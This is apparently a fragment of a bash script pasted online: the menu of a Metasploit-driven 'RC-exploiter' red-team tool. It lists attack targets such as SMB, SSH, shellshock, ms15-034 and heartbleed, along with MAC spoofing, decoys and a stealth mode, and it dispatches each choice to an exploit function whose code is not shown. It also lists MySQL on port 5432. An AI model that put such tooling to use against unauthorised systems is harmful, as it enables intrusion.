- ██╔══██╗██║ ██╔══╝ ██╔██╗ ██╔═══╝ ██║ ██║ ██║██║ ██║ ██╔══╝ ██╔══██╗
- ██║ ██║╚██████╗ ███████╗██╔╝ ██╗██║ ███████╗╚██████╔╝██║ ██║ ███████╗██║ ██║
- ╚═╝ ╚═╝ ╚═════╝ ╚══════╝╚═╝ ╚═╝╚═╝ ╚══════╝ ╚═════╝ ╚═╝ ╚═╝ ╚══════╝╚═╝ ╚═╝
- !
- if [ "$M4c" = "YES" ]; then
- if [ "$Ch3" = "YES" ]; then
- echo ${BlueF} VERSION:${GreenF}$ver ${BlueF}IP:${GreenF}$IP ${BlueF}SPOOFED_MAC:${GreenF}$st ${BlueF}USE_DECOYS:${GreenF}$SPOOF ${Reset};
- echo ${BlueF} TIME:${white}$dtr ${BlueF}USER:${white}$user ${BlueF}DISTRO:${white}$DiStR0 ${BlueF}INTERFACE:${white}$inter ${BlueF}ALL_SETTINGS:${GreenF}STEALTH MODE ${Reset};
- else
- echo ${BlueF} VERSION:${GreenF}$ver ${BlueF}INTERFACE:${white}$inter ${BlueF}IP:${GreenF}$IP ${BlueF}SPOOFED_MAC:${GreenF}$st ${BlueF}TIME:${white}$dtr ${Reset};
- fi
- else
- if [ "$Ch3" = "YES" ]; then
- echo ${BlueF} VERSION:${GreenF}$ver ${BlueF}INTERFACE:${white}$inter ${BlueF}IP:${YellowF}$IP ${BlueF}USE_DECOYS:${GreenF}$SPOOF ${BlueF}TIME:${white}$dtr ${Reset};
- else
- echo ${BlueF} VERSION:${GreenF}$ver ${BlueF}USER:${white}$user ${BlueF}INTERFACE:${white}$inter ${BlueF}IP:${RedF}$IP ${BlueF}DISTRO:${white}$DiStR0 ${BlueF}TIME:${white}$dtr ${Reset};
- fi
- fi
- cat << !
- nº DESCRIPTION SERVICE(s) RPORT(s) RANK
- +--------------------------------------------------------------------------+
- | 1 - SMB + SAMBA SMB + SAMBA U:135,T:139,445 normal |
- | 2 - ms-SQL MSSQL T:1433 great |
- | 3 - mySql MYSQL T:5432 normal |
- | 4 - ssh SSH T:22 great |
- | 5 - ftp FTP T:21 great |
- | 6 - telnet TELNET T:23 great |
- | 7 - rdp(d0s) RDP T:3389 normal |
- | 8 - shellshock+ms15-034 HTTP T:80 great |
- | 9 - smtp SMTP T:25 normal |
- | 10 - pop3 POP3 T:110 normal |
- | 11 - imap IMAP T:143,993 normal |
- | 12 - heartbleed+poodle SSL T:443 great |
- +--------------------------------------------------------------------------|
- SSA-RedTeam@2015_|
- ~-~ q - Exit RC-exploiter module
- ('¯') c - Clean metasploit DataBase
- )Ø Ø( s - Config Internal settings
- ( (_) ) pass - Activate script login
- '=' help - Frequent ask questions
- !
- sleep 1
- Colors;
- echo ${RedF}'_'${Reset};
- echo ${BlueF}[*]${RedF}::${BlueF}[ENTER YOUR CHOISE]${Reset};
- echo ${BlueF}[*]${white}':'${BlueF}Press[${RedF} CTRL+C ${BlueF}]to abort tasks'!'${Reset};
- echo -n "[>]:"
- read choice
- case $choice in
- 1) sh_1 ;;
- 2) sh_2 ;;
- 3) sh_3 ;;
- 4) sh_4 ;;
- 5) sh_5 ;;
- 6) sh_6 ;;
- 7) sh_7 ;;
- 8) sh_8 ;;
- 9) sh_9 ;;
- 10) sh_10 ;;
- 11) sh_11 ;;
- 12) sh_12 ;;
- c) sh_cdb ;;
- C) sh_cdb ;;
- q) sh_exit ;;
- Q) sh_exit ;;
- s) sh_toolconf ;;
- S) sh_toolconf ;;
- help) sh_help ;;
- pass) sh_pass ;;
- targets) sh_targets ;;
- *) echo "\"$choice\": is not a valid choise"; sleep 2 ;;
- esac
- done
Advertisement
Add Comment
Please, Sign In to add comment